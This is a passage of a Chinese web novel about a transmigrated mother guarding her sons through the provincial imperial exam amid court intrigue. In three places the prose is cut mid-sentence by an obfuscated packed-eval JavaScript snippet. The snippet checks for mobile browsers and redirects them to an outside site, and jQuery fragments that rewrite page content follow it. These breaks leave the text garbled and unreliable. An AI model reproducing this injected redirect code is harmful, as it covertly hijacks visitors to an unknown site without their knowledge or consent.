几人回到东园，简单用过晚膳，赵决回厢房就寝。游乘和游余去里屋陪母亲说话，又被问起白天去过哪儿。游余扯谎说，只是逛了不足斋买纸墨，被容芝拆穿，说他们几人去书局是在后晌（下午）。 “前晌（上午）在哪儿闲逛？”容芝一针见血。 游余只好招了，“去过千家胡同附近的放鹤楼。” 只见容芝面色微僵，捏起了针线筐里的剪子。 游乘怕她伤了自己，一把抽走剪子，试探道，“母亲去过那边不少次，了解放鹤楼么？” 容芝回过神，“……没听说过。” 时辰不早，她催兄弟俩回南屋休息，紧紧关上了门，兀自坐在桌前，回忆看过的原著小说。 书中对放鹤楼的描述很详尽。它幕后的东家叫李儒，此女是内阁首辅李经章的三儿子李谨的义妹。 游怜山回来时，容芝与他和盘托出，希望由他这个父亲出面，规劝游乘、游余别再去放鹤楼。以孩子们目前的实力，还斗不过李经章的一根手指头。 “强行硬碰硬，就是送死的！”容芝看得分外明白。 游怜山为官十余年，更懂其中利害，“乡试仅剩两天，我明天请假守着他俩，确保他俩出不了东园。” 容芝仍不敢松懈，“试试吧，但愿有用。” 35. 乡试前夕3 这日，容芝料到孩子们要找借口外出，仍耐心听着游余的话。她放下剪刀，问道：“你要去袁公家？” 游余点头，“两年前院试儿子输给赵决，拿到榜三，未完成考前目标，袁公就罚我多写二十篇文章。儿子构思文章慢，花了二十四个月才写完最后一篇。” 边说他边从书箱取出一叠纸，摆在容芝手边。 容芝瞧着那叠纸，差不多有一掌高，往日去南屋送东西，她常看见游余在伏案书写，这孩子读书是用功的，她从没有过一丝怀疑。 “母亲能否同意？”游余道。 容芝看他一眼，笑起来，“余哥儿想找老师判文章，我当然不能拦着你，何况今日你与袁公约好，我更没理由拦你。” 游余闻言亦是笑，“那母亲同意？得嘞，儿子定速去速回。” 容芝冲他一摆手，“去吧。你也不用速回，好好向袁公请教，说不定，对你明日科考的策论，大有裨益！” 话音落下，容芝在棉布上缝针，却没听见游余离去的动静，便又抬头，果然游余正笑呵呵望着她。 “娘，我还想找哥哥一同去。不然袁公抓着我一个骂，我怕自己承受不住，一蹶不振，明日上了考场，头脑发昏，该怎么办好？”游余道。 容芝抿唇，针尖戳在指尖上，疼得“哎哟”一声。 游余握住她的手，连声自责，不该打扰她。 这时，屋外的长子游乘也跑了进来，“母亲您没事吧？” 容芝摇摇头，拉他二人在身边坐下，缓声道，“不瞒你们，娘昨晚做了场噩梦！那梦里，咱们侯府的结局好悲凉……所以早晨醒来，我一直心神不宁，害得你们爹也告了假在家。若可以，我希望你们俩都在家，我得看着你们都好好的，才能安心。可是余哥儿的文章不能拖，那乘哥儿，你就先不出门，让娘能看着你，成不成？” 慈母发话，孝子岂能不从。 游乘微微点头，小声道，“好。” 游余脸色大白，似乎被吓了一跳，“娘到底梦见什么可怕的？有爹在家，竟然还不够让您安心？” 容芝闭起眼，叹道，“娘说不清啊，总之很惨很惨！” 游乘急了，一把紧握她的手，“游彦维，别问了！娘本来胆子就小，再被你问出个好歹，那你就犯了天罪，哪怕你用自己的命来偿，我和爹也不会放过你！” 游余闻言跪在了容芝脚下，“娘，儿子错了。” 游怜山从屋外进来，看见的正是这一幕。他上前把吓坏的游余从地上拉起，从袖笼里取一块帕子，弯身为容芝擦去额上的冷汗。 容芝缓缓靠在游怜山的怀中，仍闭紧双眼，梦魇一般，呓语道：“镜水，那梦太真实，太可怕了……” 游怜山疼惜地拍她的背，“你要保重自己，别整日担心这个、担心那个。孩子大了，咱们也快老了，还能管几年？说到底，他们表面不反抗你，不代表心里也认同。就拿余哥儿今日这事来说，你娘不许你带走你哥，你，恨不恨你娘呢？” 游余垂着头，一向直言不讳的他却犯了犹豫症，半晌才道，“论不上恨，只是反感，不多，只一点点。” 游怜山哼笑，捏他的后颈，“得不到想要的，人都不满意，你也不必遮掩什么。再则，如果今日是你哥要去袁公家送文章，你娘一开始就不会同意，因为什么，你懂吗？” 游余吸吸鼻子，“娘更疼我哥，我不傻，看得出来。” 游怜山并不否认，“算你小子有自知之明！” 游余又说，“可我害怕袁公骂我，希望身边有哥哥陪同，也没错吧。娘是长辈，有爹陪，为何她不能把哥哥让给我一天？” 这不愧是游怜山养大的孩子，歪理一箩筐一箩筐的。 容芝听出小屁孩话里的道德绑架，仰头看游余，“游彦维，听听你说了什么？你已经十三了，还没有你哥一半的懂事和稳重。” 游余的反应极快，“娘说的对，彦维的确不够稳重，可袁公说过的，我与哥哥将来要走的路，不一样。” 听他小子搬出袁公，容芝的好奇被勾起，便问道，“嗯？你展开说说。你哥考完乡试、会试、殿试，拿到功名，顺利入仕，前途光明！你的路，是怎样的？” 游余稍作思考，双手握起了拳，“儿子也要中状元，入仕为官，以商鞅、王安石为范，追二位前辈，做千古名臣！” 一语毕，容芝与游怜山同时陷入了沉默。 引古论今，不是容芝的强项，虽然她看过许多科举小说，让她自己出口成章，慷慨辩驳，她……做不到。 眼下唯一可能做到这件事的，就是游怜山。 于是容芝转头看向他，以眼神鼓励他，赶紧接了游余的论调。 “商鞅，王安石。” 游怜山沉着地负手，走到次子游余面前，二人年纪相差二十几，身量却相差无几，“既然彦维提到二位前辈，我就问问彦维，知不知道他们的结局如何？” 商鞅，变法强秦，却遭了车裂灭族。 王安石，新政富国，生前却众叛亲离。 游余思忖道：“前辈们的革新计划，都成功了。” 游怜山觉得他在以偏概全，但现在不可与他争论此，便换个角度，改问他道，“那你再说说，他二人的变法、新政，之所以能成功，关键在于什么？” “儿子以为，商鞅获得了一君独断的秦孝公，王安石获得了宋神宗的鼎力支持，才能推行变法、新政。” “甚好！彦维才思敏捷！不妨，再分析分析你自己，你想成为前辈那样的革新名臣，那你的靠山，又是谁？” 游余微怔，“臣子为官，靠山自然是皇帝。” 游怜山点头赞许，却继续反问他，“圣心难猜，你如何保证，皇帝愿意成为你的靠山？” 游余沉吟，“无法保证。” “所以，彦维必须自我精进，以盼来日，用自己做筹码，博得皇帝支持，才可站上施展抱负的戏台，才可成为……千古名臣！但是彦维，你看啊，现在你只有秀才功名，只有十三岁，而且，手无缚鸡之力。随便一个匪徒给你一巴掌，你便小命呜呼了，还谈什么以后，什么革新，什么名臣？！” 游怜山的一席话，回响在几人之间。 游余想到了自己的狂妄，想到了自己的傲慢，面颊直红到了耳尖。他再给父亲游怜山跪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109460|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，请罪道：“父亲大人，彦维错了，错得离谱极了！彦维才考了秀才，不该沾沾自喜，不该忘乎所以，不该做梦空想，而不去扫一屋，不去行动。” 容芝将游余扶起，缓缓笑道，“好了。经此一事，你明白了吧？你爹平时看着没心没肺，其实比我这个娘更操心你俩的前途！他是父亲，是进士出身、三品朝臣，于私于公，都不会害你俩。” 游余早已泪痕满面，“那依娘的说法，祖父对爹万般苛刻，难道也是为爹好？” 容芝替他擦泪，慢慢劝道：“世间万物，不可只看表相。真相是什么，要用心琢磨、感受。常言道，患难见真情。别看有些人，吵吵闹闹半辈子，说不定感情比山高，比海深。” 说着，她转身牵起了愣在一边的长子游乘。 “娘，”游乘好似刚从梦中醒来，嗓音轻缓。 容芝为他抹平眉心的褶皱，“你弟要去袁公家，你愿意陪他一起吗？” 游乘红着眼框，“回母亲，介舟愿意。” 容芝笑弯了眉，“有你护他，娘很放心，好了，去找你虞次叔帮忙赶车，天黑前回来就行。” 有母亲的许可，兄弟俩提上二十篇文章，跑出东园。 见他俩跑远，游怜山追到门前，望了好一阵才走回来，“你真放心？游余有迷香，放倒虞次是小意思。” 容芝见他腰带有点歪，伸手扯了下，“可是，防也防不住，哦，我好像忘记告诉你一件事。” 游怜山低声地问，“是不是要来大剧情点？” 容芝瞪他一眼，“不是……我想告诉你，原著小说的主角，是游乘。” 游怜山道，“可你明明说，咱们一家结局很惨。” 容芝嗯了声，“没错啊，你想，游乘是书中主角，侯府长房夫妻对游乘不好，后来当然被清算得很惨。” 如此一来，游怜山终于把剧情捋顺，“以我对你的了解，你对游乘好，也不全是为了避灾吧？” 容芝嘴角浮笑，拿起针线、布头，“从第一眼见到三岁的游乘，我就很喜爱那孩子。” 游怜山仰靠在椅上，望向她，“看吧看吧！这就是‘主角光环’。不过，今日游余说的什么‘千古名臣’，还真出乎我意料。那小子，耍滑头是把好手，谁承想，他居然心怀大志，要效仿商鞅、王安石？” “人家想考状元，做名臣，你别小瞧人家！” 容芝说着，想起明日开考的乡试，也想起了离京两年的内阁首辅，“李经章什么时候回京？” 内阁确实已得到消息，李经章就这两天到。 后晌，游乘陪游余挨完了袁公的骂。 到马车上，游余整理着文章的次序，问时辰还早，去不去放鹤楼。游乘坚持回家，安心备考。 游余不再提了，拿起一篇文章，论的正是商鞅、王安石革新之路，“哥，如果科考及第了，你发现皇帝不是‘孝公’、‘神宗’，怎么办？” 游乘拿过弟弟的文章，指着上面的墨批，“这里，袁公写道，明君‘千载一遇，然君子俟命’（出自海瑞《治安疏》补遗，意为明君难遇但可遇）。” 八月初九，乡试第一场开考。 36. 乡试 秋高气爽的时节，顺天府贡院门前，差役走动，火把跳跃。 参加乡试的考生排起长队，依次解发、宽衣，打开书箱和食篮，由差役仔细查验，才能进入号舍。 游乘与几个朋友喝完了乌梅、甘草煎成的暑汤，忽然想起，刘与之好像没出现。 他接受搜身时，小声与差役打听了一句，原来刘与之昨夜里热症发作，被刘家派人接回了家。 三年等来一次乡试，刘与之终究还是无缘参与，只好再等三年。游余和赵决得知此事，也为刘与之感到惋惜，彼此约好，等八月十五考完最后一场，立刻就去刘家探望刘与之。 正说着小话往前走，一旁差役提醒安静，几人便噤声，埋头朝各自的号舍过去。 游乘、赵决、游余是院试前三，被安排在最前的一排号舍，正要推开门，身后传来一声“大公子”。 游乘转头，见来人是齐橡，“齐兄。” 齐橡眼眶湿润，忙不迭躬身，“前日感谢大公子出手相救！若非有公子和几位友人，齐某怕是要错过今年乡试！” 游余几步走来，把齐橡往后推开，“你这不成器的家伙！离我哥远一点。” 齐橡踉跄站稳，仍对游余客气，“见过二公子。” 而直到这时，游余才发觉他腿脚有伤，便好奇问道：“我哥帮你还了钱，他们居然还打了你？” 齐橡苦笑，“大公子只还了一部分……且他们以为，我还不起那二十两的本金吧。没事，这次他们下手不重，比上回轻多了。” 游余见他发笑，实在无法理解，“你真奇怪，挨了打怎还好像对那群恶徒心怀感激？” 一旁差役吼道，“不得喧哗，速速入号舍！” 游乘忙拉过弟弟游余，让他专心考试，旁的事，等八月十五考完再说，游余应好。 看游余进了号舍门，游乘见齐橡还站在原地，也催了齐橡一句，拱手道：“祝齐兄金榜题名。”说完，进入自己的号舍。 正要关门，却听旁边的号舍门打开了。 游乘不免惊讶，回头一瞧，见弟弟游余急忙忙冲到齐橡的身后，凑在齐橡耳边说了几句什么。 齐橡一听连忙对游余施礼，从口型来看，说的是“好”。 因为这一幕，巡场的差役又吼起来。 游乘见弟弟返回了号舍，听到弟弟插门的动静，终于放心地回了自己的号舍，坐下来，等待考题发放。 今日是乡试第一场，考四书义三篇，五经义四篇，写作量约为五千至七千字，在全部三场之中，考试强度最大。听袁公讲，常有考生到了暮光时分，仍没写完文章，不得已抱憾痛哭。 可是比起那些有机会来此一博的考生，挚友刘与之连坐下来执笔的机会也没有。游乘一想起来，鼻子未免发酸，忙抬袖擦去了眼泪。 正因这份遗憾，游乘更想写出好文章，绝不可让自己也白白浪费三年时光，他要以更快的速度考完科举，入仕为官，早日参与朝事，以尽自己的绵薄之力。 写完四书义三篇，已过了午。 游乘打开食篮，拿起一块被切碎的小米煎饼，边喝茶水，边吃下了肚。也不知弟弟游余和赵决的情况如何。今年的考题，又被袁公猜到了个七七八八，只要他们正常发挥，不出乱子，考中的机会是很大的。 但那个齐橡…… 游乘想起刚才进场的一幕，若齐橡的腿脚上有伤，定会影响考试的专注力，伤口一旦疼起来，恐怕连笔都握不稳，也写不了字了。 想到这些，游乘长长叹一口气，再握起笔，抓紧写剩下的四篇五经义。他构思文章快，下笔书写，洋洋洒洒三千字，收住了笔锋，再抬头看天，竟然已经到了日暮。 依据天象，游乘算了算，距离散场还有半个时辰。 他放下笔，倒一杯凉茶，却没喝。脑袋里一刻停不住，想起千家胡同的放鹤楼，收债大汉口中的高利，赵决写在桌上的“李”，父亲游怜山讲的“功名低微，手无缚鸡之力”…… 内阁首辅李经章，为惑作乱，却无人敢查。 长此以往，后果并不难预测。 游乘正脑中想事，耳边响起一声怒喝。他回过神，从面前的小窗望出去，见对面号舍的门大开着，差役抓起考生，麻利地给他扣上了木枷。 “其余人，立即起身，不若，形同此人！” 原来这考生拖延封卷，按律，要被打入刑部大牢。 游乘早就答完文章，也早就收好纸墨、考卷，等差役一到来，他从小窗递了出去。 第一场终于结束。 游乘简单吃了煎饼和母亲准备的豚肉干，没吃饱也管不了，因为眼皮太沉重，他合衣在硬木板侧躺着。 场内不可燃烛，只有巡场差役手中的灯笼光，微微弱弱地在晃动着，游乘盯着那点光亮，不知不觉入睡。 而后，又被差役的敲门声吵醒。 游乘睁开眼，看看高悬的日头，估摸自己这一觉睡太久，起身，吃了些硬的干肉和碎的煎饼，只觉，这顿早膳口感十分差劲，周围的气味也不好闻。 好在母亲为他准备了茶叶，虽然进场检查时，也被切碎成了屑沫，总好过没有。 游乘从素面陶罐里取出一捻，再加入一小片人参，顿时，整间号舍里的气息变得清爽。 这里的用水有严格的限制。每日二次，由考场杂役统一提壶分配，每位考生限一壶，用于泡茶、解渴。 游乘备好了茶壶，等着杂役送水，就着清新的茶香，摸出煎饼又吃了一些，总算能感觉到肚子饱，却不敢多喝。 第二场，在后日开考。期间考生不得擅离号舍，吃喝拉撒都在里面，除非生了急病。 这天后晌，就有位考生不堪暑气，被差役用木板抬走。那场面，叫游乘感到惋惜，也感到紧张。 不知弟弟游余、赵决的身体还好不好。 游乘坐着看书时，每次听见周围有人咳嗽，总要停下仔细地听，确保不是游余或赵决，才能松一口气。 夜里，他也总是惊醒，睡不好。 到白日，他趴在案上短暂睡一会，巡场差役见了这种情况，只要不影响其他考生，就睁只眼闭只眼，当作没看见。 八月十二，第二场开始。 考题不同第一场，更侧重于实用文体、政务能力。 其中。 论一篇：出自四书五经或前朝历史，要求阐述观点； 判语五条：模拟官府判案，考察律法熟识和运用； 实用文体（诏书、诰书、表书）一篇：仿朝廷公文； 策论三道：引经据典，提问、出策。 这乡试的第二场，是经学转实务的关键场，意在选拔“通经理政”的人才。考生需精读四书五经、精通律法，具备扎实的公文书写能力。 今年的考题，多为漕运与赋税相关。 游乘在袁公府上读书时，曾屡次受教于袁公的点拨，应对这些考题，是得心应手的。 推想，弟弟游余，应该问题不大。 天黑定的时候，差役逐一收卷。 游乘顾不得吃饭、喝水，蜷缩在木板上就睡得天昏地暗。次日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114928|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来，他赶忙拿出吃食，囫囵下咽，喝水如厕，而后，继续趴在案上补觉。等感到饥饿，他再随便吃一点，应付过去便好。 夜里，咳嗽的人变多起来。 这号舍内，气味不佳，封闭闷热，身弱的读书人熬不住，也是常情。 游乘站在小窗前，目送那些考生离开，心酸是难免的，也少不了自我警醒，暗下决心。等考完乡试，他必定拉上弟弟、刘与之，加强体能锻炼。 到第三场，考题又是不同的。 包含经史策，五道，时务策，三道，体现了通经致用的理念。历年的优秀答卷，既能引证历代典章，又结合本朝制度分析，尤其时务策，多涉及黄河治理等等实务。且结构严谨，类似八股，但更自由。 最忌，空谈。 袁公也曾说，近来乡试判卷有不成文的规矩：对策空泛者，一律黜落。 乡试第三场，是区分平庸和卓越的一场。 若考生做不到“鉴往知来，匡时济世”，必考不中。 晌午，考生又累又饿之时，游乘听见号舍外有差役说话的动静，稍微抬头一看，差役正拿出一只月饼，往他的窗口递进来，低声道：“愿公子，蟾宫折桂！” 游乘忙接住月饼，谢过了差役。 没料到，今年的乡试主考官这么通人情。 入了夜，秋风阵阵。 游乘吹熄蜡烛，提前整理书箱、食篮，等差役前来收卷。免不了又听见好几位考生因拖延时辰，被差役扣枷带了下去。 出号舍，游乘看向弟弟游余和赵决的窗口，见他二人面色疲惫，却并无大碍，终是把心放回肚子里。 在贡院前等了片刻，赵决先跑出来。 游乘没问考得如何，因为不担心赵决的才学，但他一直没见游余出来，不禁又把心悬在半空。 按规定，考生离场后不得返回。 游乘再急也只能原地等，人群慢慢散去，仍没见到游余的身影，他便走到守门的锦衣卫身前，“吾弟尚未出院，敢问里面还有人么？” 锦衣卫是认得游乘游余的，一听这话也慌了，对游乘说，进去看看，冲入了贡院。 “齐兄，告辞！”游余的清脆嗓音传来。 游乘往门里看，见游余朝他挥手，喊声“哥哥”跑向他。可游余并非一人，身边跟着一瘸一簸的齐橡。 “你慢走，”游乘对齐橡送道，一把牵过游余。 齐橡面上一愣，“……大公子二公子，再会。” 在里面关了好几天，又累又困，又饿。 游余来翻游乘的食篮，发现还有煎饼碎屑，就把那纸包掏出来，仰头倒进嘴里。 游乘递给他水袋，“弟弟出来晚，和齐橡聊了什么？” 游余满嘴吃食，含糊道，“随便聊，咱快回家吧，我前胸贴后背了！”说着，朝前冲去。 游乘和赵决落在后面。 赵决附耳提醒，“彦维年纪小，太容易受骗。” 游乘笑了笑，“你担心他？指不定是谁骗谁。不过，放鹤楼的形势凶险，不能让他单独见齐橡。” 回马车上，游乘没提齐橡，只说时辰太晚，怕耽误刘与之养病，提议明日再去刘府探病。 游余点头，靠在一边，没再说话，心事重重的样子。 走到半途，游乘怀中一沉，低头，竟是酣睡中的游余滑了过来。 小孩儿闭着眼，嘴唇开合，不知念什么。 赵决凑近，听了半晌，讷讷道：“……周儒？” 游乘亦是不解，“周儒？这是谁？” 37. 房牙行掌柜的真身 “阿怜你听，是不是有马车？” 容芝扒拉了下打盹的游怜山，与他一起跑出门房。 中秋月圆，夜幕低垂，半敞的黑漆马车缓缓驶来。容芝见它越来越近，捂住了心口，方才她还笑游怜山瞎紧张，现在她的心跳也陡然急剧。 马车走得极慢，夫妻二人只好迎上去。 虞次行礼，“大爷，夫人，久等。” 游怜山一摆手，“好饭不怕晚啊！怎么？余哥儿睡了？” 虞次点头，笑道，“大爷猜的真准！哥儿考完出来，先吵着说饿，再没一会，就睡了……” 主仆正说笑，马车布帘被掀开。 游乘探出头，喊了声“爹、娘”，背上背着的是昏睡不醒的游余。 赵决帮提着几人的考试用具，躬身道，“大爷，夫人。” 游怜山叫来个门房提东西，上手扶一把游乘，低嗔道：“这小子，到家了还睡不醒。” 游乘说，“没事，现在我还背得动他，过几年，我想背他都不让我背了！”说着，为证明什么似的，一溜烟走到了前头。 兄弟俩从小关系亲，游余喜欢找游乘背，倒也没什么，如今二人身量差不多，游余比游乘还稍胖些，却趴着一动不动，这便叫容芝有点忍不了。 “醒醒！笋片浇头面来了！”容芝从后拍拍游余的肩。 游乘听母亲拿出杀手锏，闷声地笑，也不敢太大声。 但游余只是哼唧着抬头，掉个边，闭眼又没了动静。 “娘，您让他睡吧，”游乘劝道。 容芝走在游乘身边，“就是让你累着了！娘看他这副样子就知道，在贡院这几天，你们一定吃不好睡不好。” 游乘摇头，“那里头，晒不着淋不着，没饿着有地儿睡，我们已经比世上的许多人幸福多了。” “哥儿讲的也对，是娘想窄了，”容芝回头，叮嘱门房仔细提书箱。她见游怜山拢着袖子，老神在在的，便原地等了等他。 “是不是感觉自己老了，跟不上他们年轻人思路了？”游怜山伸手挽她的胳膊。 容芝一下躲开，瞪他一眼，“那不是！我是‘深宅闺妇’，跟不上怕什么，就怕你这三品大员，也跟不上。” 游怜山仰头哑笑，故意放慢脚步，与孩子们离得更远。 他转开话题，“这次乡试的主考官有两位，一个是太子詹事府少詹事升铭，另一位，是谁？夫人不妨猜猜，” 容芝听他这样问，那人定是她也认识的，“不可能是李经章吧？” “乡试而已，不用李经章亲自下场，”游怜山道。 容芝觉得有理，“乡试主考官一般只是六部侍郎，非上京人士，你这礼部侍郎，既是上京人，又要亲属回避，不符合要求。快说，是哪一部的侍郎？” “户部侍郎，严深。” “哦，我记得原著写了，此人是湖西乡试解元，是李经章的同乡，”容芝托腮回忆，不免担忧起来，“定是李经章推举了他。” “所以，咱们不得不小心啊！乡试考完，只是走向成功的第一步，到了后面阅卷环节，又和之前一样，要想办法保住游乘和游余的考卷，”游怜山垂眸道。 容芝停住脚步，“那詹事府的少詹事，你熟不熟？” 游怜山坦白，“太子府的人，平时很低调，极少和朝臣来往的。” 原著中，本朝有明确规定：东宫官属，不得私谒朝臣，交通书信。 前詹事府詹事，曾私见前内阁首辅，被贬去了边关。 可是能被选去太子身边的人，多为翰林院调任，他们和朝中文官（尚书、侍郎）有同年、师生之谊，私下交往很难完全禁止。 容芝拉过游怜山的袖子，“户部的严深绝对会坏事，你不能不管。” 游怜山拍她的手背，“安啦！我已向工部尚书秦舒打听了，少詹事升铭，与我同年会试，也中了二甲进士。但我那年被安排去钦天监，而升铭，进了翰林院……” 陈年往事被翻出来，又惹得游怜山愣了神。 容芝举起手，在他眼前晃了晃，“想什么呢！过去种种，都过去了，你如今是礼部侍郎，手握实权，我想如果是你主动结识，那个升铭肯定愿意认你这朋友。” 游怜山说，“此事要注意隐秘性，否则，我必遭言官弹劾，也会害了升铭。” 说到交往隐秘性，容芝想起千家胡同的团扇，能接触朝臣家眷的正当房牙营生。 游怜山说，“这几天乡试阅卷，主考官和同考官被锁了院，我有意结交升铭，也暂时走不通。” 容芝已经计划好了，明日找千家胡同的命生打听一下，看看那个升铭家中近期有没有买卖宅子的需求。 夫妻俩沉默地走，游怜山另外给出了个主意，“你要胆子大些，直接找尔惑先生摊牌，得了。他真是太子，必然帮咱们孩子。” 容芝觉得他太冒险，“就算尔惑是储君，未必肯现在暴露身份。他以面具见我，自有计划和谋算。” 到了东园，南屋那边已没有声响。 阿桔出来施礼，说哥儿俩和赵先生累得不愿动，胡乱塞几口面，各自沐浴睡下了。 “还没问问他们考得如何……”游怜山颇有点怅然。 容芝打起哈欠，夫妻二人从日落就在门前等哥儿俩，坐了一个多时辰，这会她浑身酸痛，累极了，“已经考完，你再问也改不了结果。不管你，我先去睡。” 阿桔跟进正堂，“备了热水，大爷和夫人早歇息。” 容芝没发声，独自进里屋，经过外间的硬榻时，稍停了会，回头喊了声“阿怜”。 游怜山在吃夜宵，端着面碗小跑进来，顺着她的视线看向自己的睡处，“怎么？我早晨出门叠了被子？床单新换的，扯得很整齐啊？” 容芝叹道，“我不是要说这个……我本来想问问你……” 算了，她刚才心里涌上一点怜惜，想关心他的睡眠质量怎样，这下被他的几句争辩搅和没了。 她收回目光，换成平时那种冷冷的口气，“没事睡吧。” 次日醒来，容芝出发千家胡同前，到厨房准备俩孩子喜欢的小馄饨，却见南屋的窗户闭紧着。 一问阿桔才知，孩子们已经出了府。 “他俩一起走的？” “回夫人，不是。余哥儿先走，乘哥儿和赵先生过了会才走。” 容芝一想，“那应该不是去同个地方，有没有说去哪？” 阿桔道，“我不清楚余哥儿，乘哥儿和赵先生要去都察院都御史刘家，探刘小少爷的病。” 刘与之因病缺考，容芝士昨天才听说的。 她感到惋惜，也感到意外，在原著中，作为主角团成员的刘与之，他的科举之路走得十分顺利，县试到殿试，从没跌出前二。 想来，因为她的穿越，儿子游余反常地活下来，引发了蝴蝶效应，影响到其他角色的走向，使剧情逐渐偏离了原著。 “余哥儿没说去哪儿？”容芝回了神。 阿桔摇头，“没有，他走的时候神神秘秘的，我让虞次偷偷跟着他了。” 任何人跟着他，他分分钟就能把人甩开。 容芝的心揪起来，正发着愁，听见院外跑进个门房。 “大夫人，不足斋的老周掌柜刚送来的信。” 容芝看门房气喘吁吁，摸了一块碎银打赏，“有劳你。” 阿桔上来看，但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123536|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不识字，“是不是余哥儿的消息？” 容芝嗯了声，冷笑道：“小子真能耐，居然在打听京城商行的行首……” 阿桔没听明白，“哥儿找商行行首，做什么。” 容芝还不敢肯定，“大约，是准备投诉有人放印子钱。” 阿桔眨眨眼，“谁啊？敢在京城放印子钱。” 余下的细节，不便透露。 容芝没回答，拿信去厨房，扔进灶台火里烧成了灰。 赶到不足斋时，老周掌柜正在柜台对账本。 容芝没叫他，走近看了看，见账本字迹比往年更工整，笑道：“哟，您不会特意练过吧？这一手字，快赶上我家余哥儿了。” 老周忙拱礼，“夫人，不是我写的，余哥儿朋友写的。” “朋友？”容芝警惕起来，与老周上二楼，关起门说话。 老周说，早晨书局还没开门，余哥儿领着朋友来，打听起商行行首的宅子。 容芝急道，“您告诉他了？” 老周一摆手，“我不敢随便说，对他扯谎，说我忘了。” 容芝松口气，“您这慌，说的好！” “但是……余哥儿找店里其他伙计，问到了。” “什么？！” 容芝的脑子一嗡，猛地抓过老周的袖子，“那他打听到之后，还说了别的什么吗？” 老周思忖，脸上终于松了松，“哦，余哥儿和朋友要个东西，朋友说东西在家里。” 容芝努力跟上，“然后，他俩约明日带上东西再见？” 老周点头，“夫人猜对了，是约了明日，在不足斋见。” 行，事情还有转机。 后晌，外出的俩孩子先后回了东园。 容芝坐在正堂，手拿针线缝冬厚衣。她假装万事不知，陪孩子们吃完午膳，这才不急不缓问游乘，刘与之的病究竟如何。 “子应他……他……”游乘回话时，竟开始支支吾吾。 容芝看着他，“你、没进刘府的门，没见到子应？” 游余吃多了糕点正喝水，听言呛咳道，“都过了两年，哥哥还被刘夫人记恨呐？” 只见游乘抿着唇，不语，他算是默认了。 容芝放下针线，拍他的肩膀，“没关系，这京城里，比秦家九娘好的姑娘，多的是！等子应科举及第，娶了妻，成了家，刘夫人会原谅你的。” “嚯！娘且说一说，比九姐姐还好的姑娘，在哪儿呢？”游余笑着拱火。 容芝给他一线锤子，“有吃的，还堵不了你的嘴？我倒要问你，昨日乡试怎样？能考前二？” 游余捡起砸歪的线锤，在手上把玩，“……就那样吧！反正我尽了全力，实在比不过别人，没中举人，再考就是。三年后，我避开哥哥，才有机会中解元。” 他今年才十三岁，年纪小，确实机会多多。 容芝接过线锤，心上闪过一个新的盘算，如果保两个儿子的乡试太难，至少先保全游乘一个。 晚膳前，容芝对孩子们说书局有事，出了侯府直往千家胡同去。 奇怪的是，一般都在的命生，偏巧今日不在房牙行。 面生的店伙计交给容芝一把团扇，但它的扇面是空着的，没有画任何庭院。 容芝没看明白，问伙计：“何意？” 伙计拱礼，“命生掌柜外出，二十日才回来，他让小的转告夫人，请夫人安心在家，安心等乡试放榜。” 容芝带着团扇上马车，握着扇柄看了又看，心想，事情也太巧。眼下正值乡试阅卷，命生就有事外出，不露面了。 难不成，命生掌柜是今年乡试主考官之一，是那詹事府少詹事，升铭？ 38. 查“放鹤楼”（1） 晚膳时，母亲从外回家，手上多了把没见过的新团扇。它做工精细，自不必说，游余不过想拿来看一眼，也被母亲一口拒绝。 “不错！”容芝经过饭桌，不禁夸道。 游余瞧着面前的碗碟，清蒸鲈鱼，干笋炒肉，青菜蛋羹，四喜丸子，“不一直吃的这些，哪有什么特别。” 游乘给他夹颗丸子，“你没听懂？不错的，不是菜，是娘的心情。” 游余恨恨地目送母亲进里屋，看向一旁的父亲，“爹，您送过娘礼物么？像是团扇啊，糕果啊。” 游怜山在想衙门的事儿，闻言放了筷子，凑近游余低笑道，“嗯？想向我求助？说吧，要讨好哪家的娘子？” 游余扶额，气声怒道，“才不是。我的眼睛现在只看得到科举，看不到别的！我是担心爹，您都快失去我娘了，还浑然不觉。” “小子，别瞎说，”游怜山望向里屋，容芝正好掀帘出来。 游怜山又轻又快地叮嘱游余，“别操心我，多操心自己吧。那上回，是你们没头没脑告诉我，你娘一辈子不离开这个家，不离开我？怎么你们自己又怀疑了？” 游余又叹一声，“反正，我与您说不通。”说着他转向哥哥游乘。 兄弟俩头挨头，无需言语，一瞬间就达成默契。只怕上次在千家胡同，他们对尔惑的那些明明白白的警示，压根没被尔惑当成一回事。 此事，不能再拖，更不容忽视。 晚膳后游怜山去书房处理公务，游乘一反往日留在了正堂，坐在母亲身边，帮她卷线团。 